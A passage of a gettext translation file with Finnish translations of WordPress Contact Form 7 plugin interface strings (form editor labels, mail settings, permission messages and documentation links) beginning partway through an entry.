modules/date.php:248 #: modules/file.php:191 modules/number.php:272 modules/quiz.php:256 #: modules/really-simple-captcha.php:310 modules/really-simple-captcha.php:325 #: modules/select.php:214 modules/submit.php:75 modules/text.php:303 #: modules/textarea.php:187 msgid "Class attribute" msgstr "Class-attribuutti" #: modules/file.php:176 msgid "File size limit (bytes)" msgstr "Tiedoston koon raja (bittejä)" #. translators: %s: link labeled 'Really Simple CAPTCHA' #: modules/really-simple-captcha.php:272 msgid "To use CAPTCHA, you first need to install and activate %s plugin." msgstr "Käyttääksesi CAPTCHAaa, sinun tulee ensiksi asentaa ja aktivoida %s-lisäosa." #: modules/file.php:151 msgid "https://contactform7.com/file-uploading-and-attachment/" msgstr "https://contactform7.com/file-uploading-and-attachment/" #: modules/really-simple-captcha.php:285 msgid "https://contactform7.com/captcha/" msgstr "https://contactform7.com/captcha/" #: modules/number.php:213 msgid "https://contactform7.com/number-fields/" msgstr "https://contactform7.com/number-fields/" #: modules/acceptance.php:254 msgid "https://contactform7.com/acceptance-checkbox/" msgstr "https://contactform7.com/acceptance-checkbox/" #: modules/checkbox.php:237 modules/select.php:171 msgid "https://contactform7.com/checkboxes-radio-buttons-and-menus/" msgstr "https://contactform7.com/checkboxes-radio-buttons-and-menus/" #: modules/date.php:194 msgid "https://contactform7.com/date-field/" msgstr "https://contactform7.com/date-field/" #: modules/quiz.php:225 msgid "https://contactform7.com/quiz/" msgstr "https://contactform7.com/quiz/" #: modules/submit.php:55 msgid "https://contactform7.com/submit-button/" msgstr "https://contactform7.com/submit-button/" #: modules/text.php:238 modules/textarea.php:151 msgid "https://contactform7.com/text-fields/" msgstr "https://contactform7.com/text-fields/" #. Plugin URI of the plugin msgid "https://contactform7.com/" msgstr "https://contactform7.com/" #. Author URI of the plugin msgid "https://ideasilo.wordpress.com/" msgstr "https://ideasilo.wordpress.com/" #: admin/includes/editor.php:251 msgid "https://contactform7.com/additional-settings/" msgstr "https://contactform7.com/additional-settings/" #. translators: 1: version of Contact Form 7, 2: version of WordPress, 3: URL #: admin/admin.php:649 msgid "<strong>Contact Form 7 %1$s requires WordPress %2$s or higher.</strong> Please <a href=\"%3$s\">update WordPress</a> first." msgstr "<strong>Contact Form 7 %1$s vaatii WordPress %2$s tai uudemman.</strong> Ole hyvä ja <a href=\"%3$s\">päivitä WordPress</a> ensin." #: admin/admin.php:52 admin/admin.php:416 admin/edit-contact-form.php:47 msgid "Add New" msgstr "Lisää uusi " #: admin/admin.php:51 admin/edit-contact-form.php:36 msgid "Add New Contact Form" msgstr "Lisää uusi yhteydenottolomake" #: admin/edit-contact-form.php:266 admin/includes/editor.php:257 msgid "Additional Settings" msgstr "Lisäasetukset" #: admin/includes/class-contact-forms-list-table.php:14 msgid "Author" msgstr "Tekijä" #: admin/admin.php:30 msgid "Contact" msgstr "Yhteydenotto" #. Plugin Name of the plugin #: admin/admin.php:29 modules/flamingo.php:215 msgid "Contact Form 7" msgstr "Contact Form 7" #: admin/admin.php:41 admin/admin.php:409 includes/contact-form.php:49 msgid "Contact Forms" msgstr "Yhteydenottolomakkeet" #: admin/admin.php:551 msgid "Contact form created." msgstr "Yhteydenottolomake \"%s\" luotiin." #: admin/admin.php:555 msgid "Contact form deleted." msgstr "Yhteydenottolomake \"%s\" poistettiin." #: admin/admin.php:553 msgid "Contact form saved." msgstr "Yhteydenottolomake \"%s\" tallennettiin." #: admin/includes/class-contact-forms-list-table.php:15 msgid "Date" msgstr "Päivämäärä" #: admin/edit-contact-form.php:167 #: admin/includes/class-contact-forms-list-table.php:90 msgid "Delete" msgstr "Poista" #: admin/includes/welcome-panel.php:216 msgid "Dismiss" msgstr "Hylkää" #: admin/includes/help-tabs.php:98 msgid "Docs" msgstr "Docs" #: admin/edit-contact-form.php:152 #: admin/includes/class-contact-forms-list-table.php:187 msgid "Duplicate" msgstr "Monista" #: admin/includes/class-contact-forms-list-table.php:169 msgid "Edit" msgstr "Muokkaa" #. translators: %s: title of contact form #: admin/includes/class-contact-forms-list-table.php:122 msgid "Edit “%s”" msgstr "Muokkaa “%s”" #: admin/admin.php:40 admin/edit-contact-form.php:38 msgid "Edit Contact Form" msgstr "Muokkaa yhteydenottolomaketta" #: admin/admin.php:330 msgid "Error in deleting." msgstr "Virhe poistettaessa." #: admin/edit-contact-form.php:192 admin/includes/help-tabs.php:99 msgid "FAQ" msgstr "Usein kysytyt kysymykset" #: admin/edit-contact-form.php:236 admin/includes/editor.php:66 msgid "Form" msgstr "Lomake" #: admin/edit-contact-form.php:240 admin/includes/editor.php:98 msgid "Mail" msgstr "Sähköposti" #: admin/includes/editor.php:89 msgid "Mail (2)" msgstr "Sähköposti (2)" #: admin/edit-contact-form.php:244 admin/includes/editor.php:227 msgid "Messages" msgstr "Viestit" #: admin/edit-contact-form.php:26 admin/edit-contact-form.php:145 msgid "Save" msgstr "Tallenna" #: admin/admin.php:448 msgid "Search Contact Forms" msgstr "Etsi yhteydenottolomakkeita" #. translators: %s: search keywords #: admin/admin.php:425 msgid "Search results for “%s”" msgstr "Hakutulokset “%s”" #: admin/admin.php:626 msgid "Settings" msgstr "Asetukset" #: admin/includes/class-contact-forms-list-table.php:13 msgid "Shortcode" msgstr "Lyhytkoodi" #: admin/includes/editor.php:168 includes/contact-form-template.php:40 msgid "Subject" msgstr "Aihe" #: admin/includes/help-tabs.php:100 msgid "Support" msgstr "Tuki" #: admin/includes/class-contact-forms-list-table.php:12 #: includes/block-editor/index.js:1 msgid "Title" msgstr "Otsikko" #: admin/includes/editor.php:193 msgid "Use HTML content type" msgstr "Käytä HTML:ää" #. translators: date format, see https://www.php.net/date #: admin/includes/class-contact-forms-list-table.php:236 msgid "Y/m/d" msgstr "d/m/Y" #: admin/edit-contact-form.php:167 msgid "" "You are about to delete this contact form.\n" " 'Cancel' to stop, 'OK' to delete." msgstr "" "Olet poistamassa yhteydenottolomaketta. \n" "Paina 'Peruuta' peruuttaaksesi tai 'OK' poistaaksesi." #: admin/admin.php:325 msgid "You are not allowed to delete this item." msgstr "Sinulla ei ole oikeuksia poistaa tätä kohdetta." #: admin/admin.php:217 admin/admin.php:281 msgid "You are not allowed to edit this item." msgstr "Sinulla ei ole oikeuksia muokata tätä kohdetta." #: admin/includes/editor.php:90 msgid "Use Mail (2)" msgstr "Käytä sähköpostia (2)" #: admin/includes/editor.php:150 msgid "To" msgstr "Vastaanottaja" #: admin/includes/editor.php:159 msgid "From" msgstr "Lähettäjä" #: admin/admin.php:673 msgid "You are not allowed to edit this contact form." msgstr "Sinulla ei ole oikeutta muokata tätä yhteydenottolomaketta." #: admin/edit-contact-form.php:138 msgid "Status" msgstr "Tila" #: admin/edit-contact-form.php:95 msgid "Enter title here" msgstr "Lisää otsikko tähän" #: admin/admin.php:66 msgid "Integration" msgstr "Liitos" #: admin/edit-contact-form.php:124 msgid "You can also use this old-style shortcode:" msgstr "Voit käyttää myös vanhanaikaista lyhytkoodia:" #. translators: %d: number of additional settings #: admin/edit-contact-form.php:264 msgid "Additional Settings (%d)" msgstr "Lisäasetukset (%d)" #: admin/includes/editor.php:124 msgid "Mail (2) is an additional mail template often used as an autoresponder." msgstr "Sähköposti (2) on toinen sähköpostiviestipohja . Sitä käytetään usein automaattisiin vastausviesteihin." #: admin/includes/editor.php:140 msgid "In the following fields, you can use these mail-tags:" msgstr "Voit käyttää seuraavissa kentissä näitä sähköpostielementtejä:" #: admin/admin.php:144 msgid "The changes you made will be lost if you navigate away from this page." msgstr "Menetät tekemäsi muutokset, jos siirryt pois tältä sivulta." #: admin/includes/editor.php:191 msgid "Exclude lines with blank mail-tags from output" msgstr "Jätä pois rivit, joiden sähköpostielementit ovat tyhjiä." #: admin/edit-contact-form.php:117 msgid "Copy this shortcode and paste it into your post, page, or text widget content:" msgstr "Kopioi tämä shortcode ja liitä se artikkelin, sivun tai teksti-vimpaimen sisältöön:" #: admin/edit-contact-form.php:195 admin/includes/help-tabs.php:98 msgid "https://contactform7.com/docs/" msgstr "https://contactform7.com/docs/" #: admin/edit-contact-form.php:191 admin/includes/help-tabs.php:99 msgid "https://contactform7.com/faq/" msgstr "https://contactform7.com/faq/" #: admin/includes/welcome-panel.php:125 msgid "https://contactform7.com/save-submitted-messages-with-flamingo/" msgstr "https://contactform7.com/save-submitted-messages-with-flamingo/" #: admin/includes/welcome-panel.php:60 modules/akismet/service.php:57 msgid "https://contactform7.com/spam-filtering-with-akismet/" msgstr "https://contactform7.com/spam-filtering-with-akismet/" #: admin/includes/help-tabs.php:100 msgid "https://contactform7.com/support/" msgstr "https://contactform7.com/support/"
